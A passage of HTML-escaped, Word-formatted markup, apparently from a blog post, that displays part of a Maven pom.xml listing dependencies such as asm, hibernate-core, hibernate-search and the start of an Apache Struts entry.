style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.3&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;asm&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;asm&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.3&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.hibernate&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;hibernate&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-core&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;4.1.9.Final&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.hibernate&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;hibernate&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-search&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;4.1.0.Final&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.apache.struts&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
